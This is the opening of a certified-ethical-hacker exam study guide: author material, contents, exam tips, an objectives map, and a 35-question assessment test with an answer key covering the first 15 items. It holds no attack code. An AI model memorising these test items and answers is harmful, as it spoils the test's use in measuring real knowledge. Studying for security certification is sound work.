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CEH™ Certified Ethical Hacker
Study Guide
Version 9
Sean-Philip Oriyano
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ISBN: 978-1-119-25224-5
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Inc. is not associated with any product or vendor mentioned in this book.
I would like to dedicate this book to Medal of Honor recipient (and personal hero) Sgt.
Maj. (USA) Jon R. Cavaiani, who passed away some time before this book was written.
Thank you for giving me the honor to shake your hand.
Acknowledgments
Writing acknowledgements is probably the toughest part of writing a book in my opinion
as I always feel that I have forgotten someone who had to deal with my hijinks over the
past few months. Anyway, here goes.
First of all, I want to thank my Mom and Dad for all of your support over the years as well
as being your favorite son. That’s right, I said it.
I would also like to take a moment to thank all the men and women I have served with
over the years. It is an honor for this Chief Warrant Officer to serve with each of you. I
would also like to extend a special thanks to my own unit for all the work you do, you are
each a credit to the uniform. Finally, thanks to my Commander for your mentorship,
support, and faith in my abilities.
To my friends I want to say thanks for tearing me away from my computer now and then
when you knew I needed to let my brain cool off a bit. Mark, Jason, Jennifer, Fred, Misty,
Arnold, Shelly, and especially Lisa, you all helped me put my focus elsewhere for a while
before I went crazy(er).
I would also like to thank Shigeru Miyamoto for bringing the Legend of Zelda into reality.
Finally, on a more serious note, I would like to dedicate this book to Medal of Honor
recipient (and personal hero) Sgt. Maj. (USA) Jon R. Cavaiani who passed away some
time before this book was written. Thank you for giving me the honor to shake your hand.
—Sean-Philip Oriyano
Duty, Service, Honor
About the Author
Sean Oriyano (www.oriyano.com) is a seasoned security professional and entrepreneur.
Over the past 25 years he has split his time among writing, researching, consulting, and
training various people and organizations on a wide range of topics relating to both IT and
security. As an instructor and consultant, Sean has traveled all over the world, sharing his
knowledge as well as gaining exposure to many different environments and cultures
along the way. His broad knowledge and easy-to-understand manner, along with a healthy
dose of humor, have led to Sean being a regularly requested instructor.
Outside of training and consulting, Sean is also a best-selling author with many years of
experience in both digital and print media. Sean has published books for McGraw-Hill,
Wiley, Sybex, O’Reilly Media, and Jones & Bartlett. Over the last decade Sean has
expanded his reach even further by appearing in shows on both TV and radio. To date,
Sean has appeared in over a dozen TV programs and radio shows discussing various
cybersecurity topics and technologies. When in front of the camera, Sean has been noted
for his casual demeanor and praised for his ability to explain complex topics in an easy-tounderstand manner.
Outside his own business activities, Sean is a member of the military as a chief warrant
officer specializing in infrastructure and security as well as the development of
new troops. In addition, as a CWO he is recognized as a subject matter expert in his field
and is frequently called upon to provide expertise, training, and mentoring wherever
needed.
When not working, Sean is an avid obstacle course racer, having completed numerous
races, including a world championship race and a Spartan Trifecta. He also enjoys
traveling, bodybuilding, training, and developing his mixed martial arts skills plus taking
survival courses.
Sean holds many certifications and qualifications that demonstrate his knowledge and
experience in the IT field, such as the CISSP, CNDA, and Security+.
CONTENTS
Introduction
Exam 312-50 Exam Objectives
Assessment Test
Answers to Assessment Test
Chapter 1: Introduction to Ethical Hacking
Hacking: the Evolution
So, What Is an Ethical Hacker?
Summary
Exam Essentials
Review Questions
Chapter 2: System Fundamentals
Exploring Network Topologies
Working with the Open Systems Interconnection Model
Dissecting the TCP/IP Suite
IP Subnetting
Hexadecimal vs. Binary
Exploring TCP/IP Ports
Understanding Network Devices
Working with MAC Addresses
Intrusion Prevention and Intrusion Detection Systems
Network Security
Knowing Operating Systems
Backups and Archiving
Summary
Exam Essentials
Review Questions
Chapter 3: Cryptography
Cryptography: Early Applications and Examples
Cryptography in Action
Understanding Hashing
Issues with Cryptography
Applications of Cryptography
Summary
Exam Essentials
Review Questions
Chapter 4: Footprinting
Understanding the Steps of Ethical Hacking
What Is Footprinting?
Terminology in Footprinting
Threats Introduced by Footprinting
The Footprinting Process
Summary
Exam Essentials
Review Questions
Chapter 5: Scanning
What Is Scanning?
Checking for Live Systems
Checking the Status of Ports
The Family Tree of Scans
OS Fingerprinting
Countermeasures
Vulnerability Scanning
Mapping the Network
Using Proxies
Summary
Exam Essentials
Review Questions
Chapter 6: Enumeration
A Quick Review
What Is Enumeration?
About Windows Enumeration
Linux Basic
Enumeration with SNMP
Unix and Linux Enumeration
LDAP and Directory Service Enumeration
Enumeration Using NTP
SMTP Enumeration
Summary
Exam Essentials
Review Questions
Chapter 7: System Hacking
Up to This Point
System Hacking
Summary
Exam Essentials
Review Questions
Chapter 8: Malware
Malware
Overt and Covert Channels
Summary
Exam Essentials
Review Questions
Chapter 9: Sniffers
Understanding Sniffers
Using a Sniffer
Switched Network Sniffing
Summary
Exam Essentials
Review Questions
Chapter 10: Social Engineering
What Is Social Engineering?
Social Networking to Gather Information?
Commonly Employed Threats
Identity Theft
Summary
Exam Essentials
Review Questions
Chapter 11: Denial of Service
Understanding DoS
Understanding DDoS
DoS Tools
DDoS Tools
DoS Defensive Strategies
DoS Pen-Testing Considerations
Summary
Exam Essentials
Review Questions
Chapter 12: Session Hijacking
Understanding Session Hijacking
Exploring Defensive Strategies
Summary
Exam Essentials
Review Questions
Chapter 13: Web Servers and Applications
Exploring the Client-Server Relationship
Summary
Exam Essentials
Review Questions
Chapter 14: SQL Injection
Introducing SQL Injection
Summary
Exam Essentials
Review Questions
Chapter 15: Hacking Wi-Fi and Bluetooth
What Is a Wireless Network?
Summary
Exam Essentials
Review Questions
Chapter 16: Mobile Device Security
Mobile OS Models and Architectures
Goals of Mobile Security
Device Security Models
Countermeasures
Summary
Exam Essentials
Review Questions
Chapter 17: Evasion
Honeypots, IDSs, and Firewalls
Summary
Exam Essentials
Review Questions
Chapter 18: Cloud Technologies and Security
What Is the Cloud?
Summary
Exam Essentials
Review Questions
Chapter 19: Physical Security
Introducing Physical Security
Summary
Exam Essentials
Review Questions
Appendix A: Answers to Review Questions
Chapter 1: Introduction to Ethical Hacking
Chapter 2: System Fundamentals
Chapter 3: Cryptography
Chapter 4: Footprinting
Chapter 5: Scanning
Chapter 6: Enumeration
Chapter 7: System Hacking
Chapter 8: Malware
Chapter 9: Sniffers
Chapter 10: Social Engineering
Chapter 11: Denial of Service
Chapter 12: Session Hijacking
Chapter 13: Web Servers and Applications
Chapter 14: SQL Injection
Chapter 15: Hacking Wi-Fi and Bluetooth
Chapter 16: Mobile Device Security
Chapter 17: Evasion
Chapter 18: Cloud Technologies and Security
Chapter 19: Physical Security
Appendix B: Penetration Testing Frameworks
Overview of Alternative Methods
Penetration Testing Execution Standard
Summary
Appendix C: Building a Lab
Why Build a Lab?
Creating a Test Setup
The Installation Process
Summary
Advert
EULA
List of Tables
Chapter 1
Table 1.1
Table 1.2
Table 1.3
Chapter 2
Table 2.1
Table 2.2
Table 2.3
Chapter 3
Table 3.1
Chapter 5
Table 5.1
Table 5.2
Table 5.3
Table 5.4
Chapter 9
Table 9.1
Table 9.2
Table 9.3
Chapter 12
Table 12.1
Chapter 15
Table 15.1
Table 15.2
List of Illustrations
Chapter 1
Figure 1.1 Security versus convenience analysis
Figure 1.2 The hacking process
Chapter 2
Figure 2.1 Bus topology
Figure 2.2 Ring topology
Figure 2.3 Star topology
Figure 2.4 Mesh topology
Figure 2.5 Hybrid topology
Figure 2.6 OSI TCP/IP comparative model
Figure 2.7 TCP three-way handshake
Figure 2.8 TCP sequencing
Figure 2.9 Residential network setup
Figure 2.10 Typical enterprise network
Chapter 3
Figure 3.1 The Rosetta stone
Figure 3.2 Symmetric encryption
Figure 3.3 Asymmetric encryption
Figure 3.4 A digital signature in use
Figure 3.5 The PKI ecosystem
Figure 3.6 Hash generated from “Hello World” using MD5
Chapter 4
Figure 4.1 Google Earth
Figure 4.2 Cameras found by doing a Google hack
Figure 4.3 Instagram
Figure 4.4 The Echosec service
Chapter 5
Figure 5.1 The three-way handshake
Figure 5.2 Half-open scan against closed and open ports
Figure 5.3 Xmas tree scan
Figure 5.4 An FIN scan against a closed port and an open port
Figure 5.5 A NULL scan against a closed and an open port
Figure 5.6 Results of a banner grab
Figure 5.7 A network map built by a network-mapping software package
Chapter 8
Figure 8.1 JPS Virus Maker user interface
Figure 8.2 TCPView interface
Chapter 9
Figure 9.1 TCP three-way handshake packet
Figure 9.2 Macof MAC flood
Figure 9.3 Cain & Abel
Chapter 11
Figure 11.1 Basic program stack
Figure 11.2 Smashing the stack
Figure 11.3 DDoS attack setup
Chapter 12
Figure 12.1 Session hijack
Figure 12.2 Active attack
Figure 12.3 Passive attack
Figure 12.4 Spoofing
Figure 12.5 Source routing
Figure 12.6 Desynchronizing a connection
Figure 12.7 TCP three-way handshake
Figure 12.8 MITM attack
Chapter 15
Figure 15.1 A Yagi antenna
Figure 15.2 A parabolic antenna
Chapter 19
Figure 19.1 A drive degausser
Figure 19.2 A mantrap installed in a lobby
Figure 19.3 One kind of cipher lock
Figure 19.4 Lock-picking tools
List of Exercises
Chapter 2
Exercise 2.1
Chapter 3
Exercise 3.1
Chapter 4
Exercise 4.1
Exercise 4.2
Exercise 4.3
Exercise 4.4
Exercise 4.5
Chapter 5
Exercise 5.1
Chapter 6
Exercise 6.1
Exercise 6.2
Exercise 6.3
Chapter 7
Exercise 7.1
Exercise 7.2
Exercise 7.3
Exercise 7.4
Exercise 7.5
Exercise 7.6
Exercise 7.7
Chapter 8
Exercise 8.1
Exercise 8.2
Exercise 8.3
Chapter 9
Exercise 9.1
Exercise 9.2
Exercise 9.3
Chapter 11
Exercise 11.1
Exercise 11.2
Exercise 11.3
Exercise 11.4
Chapter 12
Exercise 12.1
Exercise 12.2
Exercise 12.3
Chapter 13
Exercise 13.1
Exercise 13.2
Exercise 13.3
Exercise 13.4
Chapter 15
Exercise 15.1
Exercise 15.2
Chapter 16
Exercise 16.1
Chapter 17
Exercise 17.1
Introduction
If you’re preparing to take the CEH exam, you’ll undoubtedly want to find as much
information as you can about computers, networks, applications, and physical security.
The more information you have at your disposal and the more hands-on experience you
gain, the better off you’ll be when taking the exam. This study guide was written with that
goal in mind—to provide enough information to prepare you for the test, but not so much
that you’ll be overloaded with information that is too far outside the scope of the exam.
To make the information more understandable, I’ve included practical examples and
experience that supplement the theory.
This book presents the material at an advanced technical level. An understanding of
network concepts and issues, computer hardware and operating systems, and applications
will come in handy when you read this book. While every attempt has been made to
present the concepts and exercises in an easy-to-understand format, you will need to have
experience with IT and networking technology to get the best results.
I’ve included review questions at the end of each chapter to give you a taste of what it’s
like to take the exam. If you’re already working in the security field, check out these
questions first to gauge your level of expertise. You can then use the book to fill in the
gaps in your current knowledge. This study guide will help you round out your knowledge
base before tackling the exam itself.
If you can answer 85 percent to 90 percent or more of the review questions correctly for a
given chapter, you can feel safe moving on to the next chapter. If you’re unable to answer
that many questions correctly, reread the chapter and try the questions again. Your score
should improve.
Don’t just study the questions and answers! The questions on the actual
exam will be different from the practice questions included in this book. The exam is
designed to test your knowledge of a concept or objective, so use this book to learn
the objectives behind the questions.
Before You Begin Studying
Before you begin preparing for the exam, it’s imperative that you understand a few things
about the CEH certification. CEH is a certification from the International Council of
Electronic Commerce Consultants (EC-Council) granted to those who obtain a passing
score on a single exam (number 312-50). The exam is predominantly multiple choice,
with some questions including diagrams and sketches that you must analyze to arrive at
an answer. This exam requires intermediate- to advanced-level experience; you’re
expected to know a great deal about security from an implementation and theory
perspective as well as a practical perspective.
In many books, the glossary is filler added to the back of the text; this book’s glossary
(included as part of the online test bank at sybextestbanks.wiley.com) should be
considered necessary reading. You’re likely to see a question on the exam about what a
black- or white-box test is—not how to specifically implement it in a working
environment. Spend your study time learning the various security solutions and
identifying potential security vulnerabilities and where they are applicable. Also spend
time thinking outside the box about how things work—the exam is also known to alter
phrases and terminology—but keep the underlying concept as a way to test your thought
process.
The EC-Council is known for presenting concepts in unexpected ways on their exam. The
exam tests whether you can apply your knowledge rather than just commit information to
memory and repeat it back. Use your analytical skills to visualize the situation and then
determine how it works. The questions throughout this book make every attempt to recreate the structure and appearance of the CEH exam questions.
Why Become CEH Certified?
There are a number of reasons for obtaining the CEH certification. These include the
following:
Provides Proof of Professional Achievement Specialized certifications are the best
way to stand out from the crowd. In this age of technology certifications, you’ll find
hundreds of thousands of administrators who have successfully completed the Microsoft
and Cisco certification tracks. To set yourself apart from the crowd, you need a bit more.
The CEH exam is part of the EC-Council certification track, which includes other securitycentric certifications if you wish to attempt those.
Increases Your Marketability The CEH for several years has provided a valuable
benchmark of the skills of a pentester to potential employers or clients. Once you hold
the CEH certification, you’ll have the credentials to prove your competency. Moreover,
certifications can’t be taken from you when you change jobs—you can take that
certification with you to any position you accept.
Provides Opportunity for Advancement Individuals who prove themselves to be
competent and dedicated are the ones who will most likely be promoted. Becoming
certified is a great way to prove your skill level and show your employer that you’re
committed to improving your skill set. Look around you at those who are certified: They
are probably the people who receive good pay raises and promotions.
Fulfills Training Requirements Many companies have set training requirements for
their staff so that they stay up to date on the latest technologies. Having a certification
program in security provides administrators with another certification path to follow
when they have exhausted some of the other industry-standard certifications.
Raises Customer Confidence Many companies, small businesses, and the
governments of various countries have long discovered the advantages of being a CEH.
Many organizations require that employees and contractors hold the credential in order
to engage in certain work activities.
How to Become a CEH-Certified Professional
The first place to start on your way to certification is to register for the exam at any
Pearson VUE testing center. Exam pricing might vary by country or by EC-Council
membership. You can contact Pearson VUE by going to their website (www.vue.com) or
in the United States and Canada by calling toll-free (877)-551-7587.
When you schedule the exam, you’ll receive instructions about appointment and
cancellation procedures, ID requirements, and information about the testing center
location. In addition, you will be required to provide a special EC-Council–furnished code
in order to complete the registration process. Finally, you will also be required to fill out a
form describing your professional experience and background before a code will be issued
for you to register.
Exam prices and codes may vary based on the country in which the exam
is administered. For detailed pricing and exam registration procedures, refer to ECCouncil’s website at www.eccouncil.org/certification.
After you’ve successfully passed your CEH exam, the EC-Council will award you with
certification. Within four to six weeks of passing the exam, you’ll receive your official ECCouncil CEH certificate.
Who Should Read This Book?
If you want to acquire solid information in hacking and pen-testing techniques and your
goal is to prepare for the exam by learning how to develop and improve security, this book
is for you. You’ll find clear explanations of the concepts you need to grasp and plenty of
help to achieve the high level of professional competency you need to succeed in your
chosen field.
If you want to become certified, this book is definitely what you need. However, if you
just want to attempt to pass the exam without really understanding security, this study
guide isn’t for you. You must be committed to learning the theory and concepts in this
book to be successful.
In addition to reading this book, consider downloading and reading the
white papers on security that are scattered throughout the Internet.
What Does This Book Cover?
This book covers everything you need to know to pass the CEH exam. Here’s a breakdown
chapter by chapter:
Chapter 1: Introduction to Ethical Hacking This chapter covers the purpose of
ethical hacking, defines the ethical hacker, and describes how to get started performing
security audits.
Chapter 2: System Fundamentals This chapter presents a look at the various
components that make up a system and how they are affected by security.
Chapter 3: Cryptography This chapter explores the art and science of cryptography;
you’ll learn how cryptography works and how it supports security.
Chapter 4: Footprinting In this chapter, you’ll learn how to gain information from a
target using both passive and active methods.
Chapter 5: Scanning This chapter shows you how to gain information about the hosts
and devices on a network as well as what the information means.
Chapter 6: Enumeration In this chapter, you’ll learn how to probe the various services
present on a given host and how to process the information to determine what it means
and how to use it for later actions.
Chapter 7: System Hacking This chapter shows you how to use the information gained
from footprinting, scanning, and earlier examinations in order to break into or gain access
to a system.
Chapter 8: Malware This chapter covers the varieties of malware and how each can be
created, used, or defended against.
Chapter 9: Sniffers This chapter discusses using packet sniffers to gather information
that is flowing across the network. You’ll learn how to dissect this information for
immediate or later use.
Chapter 10: Social Engineering This chapter covers how to manipulate human beings
in order to gain sensitive information.
Chapter 11: Denial of Service This chapter includes an analysis of attacks that are
designed to temporarily or permanently shut down a target.
Chapter 12: Session Hijacking This chapter covers how to disrupt communications as
well as take over legitimate sessions between two parties.
Chapter 13: Web Servers and Applications This chapter explains how to break into
and examine web servers and applications as well as the various methods of attack.
Chapter 14: SQL Injection In this chapter, you’ll learn how to attack databases and
data stores using SQL injection to alter, intercept, view, or destroy information.
Chapter 15: Hacking Wi-Fi and Bluetooth In this chapter, you’ll learn how to target,
analyze, disrupt, and shut down wireless networks either temporarily or permanently.
Chapter 16: Mobile Device Security In this chapter, you’ll learn how to target,
analyze, and work with mobile devices.
Chapter 17: Evasion This chapter covers how to deal with the common protective
measures that a system administrator may put into place; these measures include
intrusion detection systems (IDSs), firewalls, and honeypots.
Chapter 18: Cloud Technologies and Security In this chapter, you’ll learn how to
integrate and secure cloud technologies.
Chapter 19: Physical Security This chapter deals with the aspects of physical security
and how to protect assets from being stolen, lost, or otherwise compromised.
Appendix A: Answers to Review Questions In this appendix, you can find all the
answers to the review questions throughout the book.
Appendix B: Penetration Testing Frameworks In this appendix, you will explore an
alternative penetration testing framework.
Appendix C: Building a Lab In this appendix, you’ll learn how to build a lab to test and
experiment with your penetration testing skills.
Tips for Taking the CEH Exam
Here are some general tips for taking your exam successfully:
Bring two forms of ID with you. One must be a photo ID, such as a driver’s license.
The other can be a major credit card or a passport. Both forms must include a
signature.
Arrive early at the exam center so that you can relax and review your study materials,
particularly tables and lists of exam-related information. When you are ready to enter
the testing room, you will need to leave everything outside; you won’t be able to bring
any materials into the testing area.
Read the questions carefully. Don’t be tempted to jump to an early conclusion. Make
sure that you know exactly what each question is asking.
Don’t leave any unanswered questions. Unanswered questions are scored against you.
There will be questions with multiple correct responses. When there is more than one
correct answer, a message at the bottom of the screen will prompt you either to
“Choose two” or “Choose all that apply.” Be sure to read the messages displayed to
know how many correct answers you must choose.
When answering multiple-choice questions about which you’re unsure, use a process
of elimination to get rid of the obviously incorrect answers first. Doing so will improve
your odds if you need to make an educated guess.
On form-based tests (nonadaptive), because the hard questions will take the most
time, save them for last. You can move forward and backward through the exam.
Technet24.ir
For the latest pricing on the exams and updates to the registration procedures, visit
the EC-Council’s website at www.eccouncil.org/certification.
What’s Included in the Book
I’ve included several testing features in this book and on the online test bank for the book
at sybextestbanks.wiley.com. These tools will help you retain vital exam content as well as
prepare you to sit for the actual exam:
Assessment Test At the end of this introduction is an assessment test that you can use
to check your readiness for the exam. Take this test before you start reading the book; it
will help you determine the areas in which you might need to brush up. The answers to
the assessment test questions appear on a separate page after the last question of the test.
Objective Map and Opening List of Objectives In the book’s front matter, I have
included a detailed exam objective map showing you where each of the exam objectives is
covered in this book. In addition, each chapter opens with a list of the exam objectives it
covers. Use these to see exactly where each of the exam topics is covered.
Exam Essentials Each chapter, just before the summary, includes a number of exam
essentials. These are the key topics you should take from the chapter in terms of areas to
focus on when preparing for the exam.
Chapter Review Questions To test your knowledge as you progress through the book,
there are review questions at the end of each chapter. As you finish each chapter, answer
the review questions and then check your answers. The correct answers and explanations
are in Appendix A. You can go back to reread the section that deals with each question you
got wrong to ensure that you answer correctly the next time you’re tested on the material.
Interactive Online Learning Environment and Test Bank
I’ve included a number of additional study tools that can be found on the book’s online
test bank at sybextestbanks.wiley.com. All of these electronic study aids will run in your
browser and you should work through them as you study for the test:
Sybex Test Engine The main site for the online study aids is sybextestbanks.wiley.com.
After registration, you’ll get access to the Sybex Test Engine. In addition to taking the
assessment test and the chapter review questions via the electronic test engine, you’ll find
practice exams. Take these practice exams just as if you were taking the actual exam
(without any reference material). When you’ve finished the first exam, move on to the
next one to solidify your test-taking skills. If you get more than 90 percent of the answers
correct, you’re ready to take the certification exam.
If you are the type of learner who thrives on practice tests and needs more
tests than those included with this book at sybextestbanks.wiley.com, consider
buying Sybex’s new CEH: Certified Ethical Hacker Version 9 Practice Tests by
Raymond Blockmon (ISBN: 978-1-119-25215-3). With five additional complete
practice tests, there are more than enough tests for anyone to assess their readiness
to sit for the CEH.
Electronic Flashcards You’ll find flashcard questions on the website for on-the-go
review. These are short questions and answers. Use them for quick and convenient
reviewing. There are 100 flashcards on the website.
PDF of Glossary of Terms The glossary of terms is on the website in PDF format.
How to Use This Book and Additional Study Tools
If you want a solid foundation for preparing for the CEH exam, this is the book for you.
I’ve spent countless hours putting together this book with the sole intention of helping
you prepare for the exam.
This book is loaded with valuable information, and you will get the most out of your study
time if you understand how I put the book together. Here’s a list that describes how to
approach studying:
1. Take the assessment test immediately following this introduction. It’s okay if you
don’t know any of the answers—that’s what this book is for. Carefully read over the
explanation for any question you get wrong, and make a note of the chapters where
that material is covered.
2. Study each chapter carefully, making sure that you fully understand the information
and the exam objectives listed at the beginning of each one. Again, pay extra-close
attention to any chapter that includes material covered in the questions that you
missed on the assessment test.
3. Read over the summary and exam essentials. These highlight the sections from the
chapter with which you need to be familiar before sitting for the exam.
4. Answer all of the review questions at the end of each chapter. Specifically note any
questions that confuse you, and study those sections of the book again. Don’t just
skim these questions—make sure you understand each answer completely.
5. Go over the electronic flashcards. These help you prepare for the latest CEH exam,and
they’re great study tools.
6. Take the practice exams.
Exam 312-50 Exam Objectives
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The EC-Council goes to great lengths to ensure that its certification programs accurately
reflect the security industry’s best practices. They do this by continually updating their
questions with help from subject matter experts (SMEs). These individuals use their
industry experience and knowledge together with the EC-Council’s guidance to create
questions that challenge a candidate’s knowledge and thought processes.
Finally, the EC-Council conducts a survey to ensure that the objectives and weightings
truly reflect job requirements. Only then can the SMEs go to work writing the hundreds
of questions needed for the exam. Even so, they have to go back to the drawing board for
further refinements in many cases before the exam is ready to go live in its final state.
Rest assured that the content you’re about to learn will serve you long after you take the
exam.
Exam objectives are subject to change at any time without prior notice and
at the EC-Council’s sole discretion. Visit the Certification page of the EC-Council’s
website at www.eccouncil.org for the most current listing of exam objectives.
The EC-Council also publishes relative weightings for each of the exam’s objectives. The
following table lists the five CEH objective domains and the extent to which they are
represented on the exam. As you use this study guide, you’ll find that we have
administered just the right dosage of objective knowledge by tailoring coverage to mirror
the percentages that the EC-Council uses.
Domain
% of Exam
Analysis/Assessment
16%
Security
26%
Tools/Systems/Programs 32%
Procedures/Methodology 22%
Regulation/Policy
4%
Objectives
Objective
Chapter
I. Background
A. Networking technologies (e.g., hardware,
infrastructure)
2
B. Web technologies
13
C. System technologies
2, 12
D. Communication protocols
2, 9
E. Malware operations
8, 11
F. Mobile technologies (e.g., smartphones)
10
G. Telecommunication technologies
2
H. Backups and archiving (e.g., local, network)
2
II. Analysis/Assessment
A. Data analysis
9, 14
B. Systems analysis
5, 6
C. Risk assessments
1
D. Technical assessment methods
1
III. Security
A. Systems security controls
2, 12
B. Application/fileserver
2
C. Firewalls
2
D. Cryptography
3
E. Network security
2, 11, 12, 18, 19
F. Physical security
19
G. Threat modeling
1
H. Verification procedures (e.g., false positive/negative
validation)
16
I. Social engineering (human factors manipulation)
10
J. Vulnerability scanners
5
K. Security policy implications
1, 17
L. Privacy/confidentiality (with regard to engagement)
1
M. Biometrics
4
N. Wireless access technology (e.g., networking, RFID,
Bluetooth)
9, 15
O. Trusted networks
2
P. Vulnerabilities
2, 4, 5, 6, 7, 11,12, 13, 14, 15,
16, 17, 18, 19
IV. Tools/Systems/Programs
A. Network/host-based intrusion
16
B. Network/wireless sniffers (e.g., Wireshark, AirSnort)
9
C. Access control mechanisms (e.g., smart cards)
3
D. Cryptography techniques (e.g., IPSec, SSL, PGP)
3
E. Programming languages (e.g., C++, Java, C#, C)
13
F. Scripting languages (e.g., PHP, JavaScript)
13, 14
G. Boundary protection appliances (e.g., DMZ)
2, 16
H. Network topologies
2
I. Subnetting
2
J. Port scanning (e.g., nmap)
5
K. Domain Name System (DNS)
2, 12
L. Routers/modems/switches
2
M. Vulnerability scanner (e.g., Nessus, Retina)
5
N. Vulnerability management and protection systems
(e.g., Foundstone, Ecora)
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5
O. Operating environments (e.g., Linux, Windows, Mac)
2, 4, 6, 7, 13, 14, 15, 16, 17
P. Antivirus systems and programs
8
Q. Log analysis tools
6, 7, 13, 14, 16, 17
R. Security models
17
S. Exploitation tools
4, 6, 7, 11, 13, 14, 15, 16, 17
T. Database structures
14
V. Procedures/Methodology
A. Cryptography
3
B. Public key infrastructure (PKI)
3
C. Security Architecture (SA)
17
D. Service-Oriented Architecture (SOA)
14
E. Information security incident management
17
F. N-tier application design
14
G. TCP/IP networking (e.g., network routing)
2
H. Security testing methodology
1
VI. Regulation/Policy
A. Security policies
17
B. Compliance regulations (e.g., PCI)
17
VII. Ethics
A. Professional code of conduct
1
B. Appropriateness of hacking activities
1
X. Social Engineering
A. Types of social engineering
10
B. Social networking
10
C. Technology assisting social networking
10
D. Defensive strategies
10
E. Pentesting issues
10
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Assessment Test
1. What is the focus of a security audit or vulnerability assessment?
A. Locating vulnerabilities
B. Locating threats
C. Enacting threats
D. Exploiting vulnerabilities
2. What kind of physical access device restricts access to a single individual at any one
time?
A. Checkpoint
B. Perimeter security
C. Security zones
D. Mantrap
3. Which of the following is a mechanism for managing digital certificates through a
system of trust?
A. PKI
B. PKCS
C. ISA
D. SSL
4. Which protocol is used to create a secure environment in a wireless network?
A. WAP
B. WPA
C. WTLS
D. WML
5. What type of exercise is conducted with full knowledge of the target environment?
A. White box
B. Gray box
C. Black box
D. Glass box
6. You want to establish a network connection between two LANs using the Internet.
Which technology would best accomplish that for you?
A. IPSec
B. L2TP
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C. PPP
D. SLIP
7. Which design concept limits access to systems from outside users while protecting
users and systems inside the LAN?
A. DMZ
B. VLAN
C. I&A
D. Router
8. In the key recovery process, which key must be recoverable?
A. Rollover key
B. Secret key
C. Previous key
D. Escrow key
9. Which kind of attack is designed to overload a system or resource, taking it
temporarily or permanently offline?
A. Spoofing
B. Trojan
C. Man in the middle
D. SYN flood
10. Which component of an NIDS collects data?
A. Data source
B. Sensor
C. Event
D. Analyzer
11. What is the process of making an operating system secure from attack called?
A. Hardening
B. Tuning
C. Sealing
D. Locking down
12. The integrity component provides which feature of the CIA triad?
A. Verification that information is accurate
B. Verification that ethics are properly maintained
C. Establishment of clear access control of data
D. Verification that data is kept private and secure
13. Which mechanism is used by PKI to allow immediate verification of a certificate’s
validity?
A. CRL
B. MD5
C. SSHA
D. OCSP
14. Which of the following is used to create a VLAN from a physical security perspective?
A. Hub
B. Switch
C. Router
D. Firewall
15. A user has just reported that he downloaded a file from a prospective client using IM.
The user indicates that the file was called account.doc. The system has been behaving
unusually since he downloaded the file. What is the most likely event that occurred?
A. Your user inadvertently downloaded a macro virus using IM.
B. Your user may have downloaded a rootkit.
C. Your user may have accidently changed a setting on the system.
D. The system is unstable due to the use of IM.
16. Which mechanism or process is used to enable or disable access to a network resource
based on attacks that have been detected?
A. NIDS
B. NIPS
C. NITS
D. NADS
17. Which of the following would provide additional security to an Internet web server?
A. Changing the default port for traffic to 80
B. Changing the default port for traffic to 1019
C. Changing the default port for traffic to 443
D. Changing the default port for traffic to 161
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18. What type of program exists primarily to propagate and spread itself to other systems
and can do so without interaction from users?
A. Virus
B. Trojan horse
C. Logic bomb
D. Worm
19. An individual presents herself at your office claiming to be a service technician. She is
attempting to discuss technical details of your environment such as applications,
hardware, and personnel used to manage it. This may be an example of what type of
attack?
A. Social engineering
B. Access control
C. Perimeter screening
D. Behavioral engineering
20. Which of the following is a major security problem with FTP?
A. Password files are stored in an unsecure area on disk.
B. Memory traces can corrupt file access.
C. User IDs and passwords are unencrypted.
D. FTP sites are unregistered.
21. Which system would you install to provide detective capabilities within a network?
A. NIDS
B. HIDS
C. NIPS
D. HIPS
22. The process of maintaining the integrity of evidence and ensuring no gaps in
possession occur is known as what?
A. Security investigation
B. Chain of custody
C. Three As of investigation
D. Security policy
23. What encryption process uses one piece of information as a carrier for another?
A. Steganography
B. Hashing
C. MDA
D. Cryptointelligence
24. Which policy dictates how assets can be used by employees of a company?
A. Security policy
B. User policy
C. Use policy
D. Enforcement policy
E. Acceptable use policy
25. Which algorithm is an asymmetric encryption protocol?
A. RSA
B. AES
C. DES
D. 3DES
26. Which of the following is an example of a hashing algorithm?
A. ECC
B. PKI
C. SHA
D. MD
27. Which of the following creates a fixed-length output from a variable-length input?
A. MD5
B. MD7
C. SHA12
D. SHA8
28. Granting access to a system based on a factor such as an individual’s retina during a
scan is an example of what type of authentication method?
A. Smart card
B. I&A
C. Biometrics
D. CHAP
29. What item is also referred to as a physical address to a computer system?
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A. MAC
B. DAC
C. RBAC
D. STAC
30. What is the process of investigating a computer system for information relating to a
security incident?
A. Computer forensics
B. Virus scanning
C. Security policy
D. Evidence gathering
31. Which of the following is seen as a replacement for protocols such as Telnet and FTP?
A. SSL
B. SCP
C. Telnet2
D. SSH
32. Which of the following is commonly used to create thumbprints for digital
certificates?
A. MD5
B. MD7
C. SHA12
D. SHA8
33. Granting access to a system based on a factor such as a password is an example of
what?
A. Something you have
B. Something you know
C. Something you are
D. Something you smell
34. What item is also referred to as a logical address to a computer system?
A. IP address
B. IPX address
C. MAC address
D. SMAC address
35. How many bits are in an IPv6 address?
A. 32
B. 64
C. 128
D. 256
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Answers to Assessment Test
1. A. A vulnerability assessment is focused on uncovering vulnerabilities or weaknesses
in an environment but by definition does not exploit those vulnerabilities.
2. D. Mantraps are phone booth–sized devices designed to prevent activities such as
piggybacking and tailgating.
3. A. Public-key infrastructure (PKI) is a system designed to control the distribution of
keys and management of digital certificates.
4. B. Wi-Fi Protected Access (WPA) is designed to protect wireless transmissions.
5. A. White-box testing is done with full knowledge of the target environment. Black-box
testing is done with very little or no information. Gray box is performed with limited
information somewhere between black and white.
6. B. Layer 2 Tunneling Protocol (L2TP) is a VPN technology used to establish secure
connections over an insecure medium such as the Internet.
7. A. Demilitarized zone (DMZ) structures act as a buffer zone between the Internet and
an intranet, establishing a protected barrier. DMZs also allow for the placement of
publicly accessible resources such as web servers in a semi-secure area.
8. D. The escrow key is a key held by a third party used to perform cryptographic
operations.
9. D. SYN floods are a form of denial of service (DoS). Attacks of this type are designed to
overwhelm a resource for a period of time.
10. B. Sensors can be placed in different locations around a network with the intention of
collecting information and returning it to a central location for analysis and viewing.
11. A. Hardening is designed to remove nonessential services, applications, and other
items from a system with the intent of making it fit a specific role as well as reducing
its attack surface.
12. A. Integrity ensures that information is kept reliable and accurate and also allows a
party to examine the information to detect a change.
13. D. The Online Certificate Status Protocol (OCSP) is used to allow immediate
verification of certificates’ validity as opposed to the older certificate revocation list
(CRL) method, which allows for lags in detection.
14. B. A switch allows for the creation of VLANs.
15. A. The file is a Microsoft Word file and as such can have VBA macros embedded into it
that can be used to deliver macro viruses.
